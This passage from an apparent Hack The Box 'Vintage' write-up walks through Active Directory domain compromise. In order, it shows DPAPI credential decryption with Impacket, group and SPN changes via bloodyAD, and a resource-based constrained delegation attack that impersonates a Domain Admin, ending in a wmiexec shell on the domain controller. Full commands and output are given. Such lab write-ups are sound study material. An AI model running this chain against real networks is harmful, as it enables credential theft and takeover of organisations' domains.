The tester then used the same technique to transfer them to their local machine, and used base64 to decode.
The tester got the key for the 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b masterkey (saved as masterkey-39b) using the dpapi tool from Impacket.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ dpapi.py masterkey -file masterkey-39b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password Zer0the0ne
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b
Flags : 0 (0)
Policy : 0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Using that key, the tester could decrypt the protected credential:
1
2
3
4
5
6
7
8
9
10
11
12
13
$ dpapi.py credential -file roaming-credential -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2024-06-07 15:08:23
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000001 (CRED_TYPE_GENERIC)
Target : LegacyGeneric:target=admin_acc
Description :
Unknown :
Username : vintage\c.neri_adm
Unknown : Uncr4ck4bl3P4ssW0rd0312
The “c.neri_adm” user is member of “DELEGATEDADMINS” group. The members of the group DELEGATEDADMINS@VINTAGE.HTB have is added to the msds-AllowedToActOnBehalfOfOtherIdentity attribute on the computer DC01.VINTAGE.HTB.
One caveat is that impersonated users can not be in the “Protected Users” security group or otherwise have delegation privileges revoked. Another caveat is that the principal added to the msDS-AllowedToActOnBehalfOfOtherIdentity DACL must have a service principal name (SPN) set in order to successfully abuse the S4U2self/S4U2proxy process.
The tester exported the correct variable to use the ticket for C.Neri:
1
$ export KRB5CCNAME=./C.Neri.ccache
The tester, once again, removed the ACCOUNTDISABLE attribute from the sql_svc account:
1
$ python3 bloodyAD.py -d vintage.htb -k --host dc01.vintage.htb --dc-ip 10.10.11.45 remove uac SVC_SQL -f ACCOUNTDISABLE
Then, the tester obtained a TGT for C.Neri_adm:
1
2
3
4
$ getTGT.py vintage.htb/C.Neri_adm:Uncr4ck4bl3P4ssW0rd0312
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in C.Neri_adm.ccache
The tester exported the correct variable to use the ticket:
1
$ export KRB5CCNAME=./C.Neri_adm.ccache
The tester added “svc_sql” to the DELEGATEDADMINS group:
1
2
$ python3 bloodyAD.py -d vintage.htb --host dc01.vintage.htb -k add groupMember DELEGATEDADMINS "svc_sql"
[+] svc_sql added to DELEGATEDADMINS
Once again using the credentials for C.Neri, the tester added a SPN for the svc_sql account, pointing to cifs/dc01.htb:
1
2
$ python3 bloodyAD.py -d vintage.htb --host dc01.vintage.htb --dc-ip 10.10.11.45 -u c.neri -p Zer0the0ne -k set object svc_sql servicePrincipalName -v 'cifs/dc01.htb'
[+] svc_sql's servicePrincipalName has been updated
Then, with the correct SPN set, membership in the DELEGATEDADMINS group and not having the ACCOUNTDISABLE attribute set, the svc_sql account is able to perform the S4U2self/S4U2proxy process. First, the tester updates the TGT for the svc_sql user:
1
2
3
4
$ getTGT.py -dc-ip 10.10.11.45 vintage.htb/svc_sql:Zer0the0ne -dc-ip dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Saving ticket in svc_sql.ccache
Exporting the correct variable to use the cookie:
1
$ export KRB5CCNAME=./svc_sql.ccache
And then obtaining a ticket, impersonating L.BIANCHI_ADM (who has membership in the Domain Admins group, as seen in Bloodhound analysis):
1
2
3
4
5
6
7
$ getST.py -spn 'cifs/dc01.vintage.htb' -impersonate L.BIANCHI_ADM -dc-ip 10.10.11.45 -k 'vintage.htb/svc_sql:Zer0the0ne'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Impersonating L.BIANCHI_ADM
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
Then the tester exported the variable to use the newly obtained ticket:
1
$ export KRB5CCNAME=L.BIANCHI_ADM@cifs_dc01.vintage.htb@VINTAGE.HTB.ccache
And, with that ticket, was able to log in to DC01 with administrative privileges:
1
2
3
4
5
6
7
8
$ wmiexec.py -k -no-pass vintage.htb/l.bianchi_adm@dc01.vintage.htb
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>type C:\users\administrator\desktop\root.txt
345e749199ab6e774f63c909e0323b7b
This post is licensed under CC BY 4.0 by the author.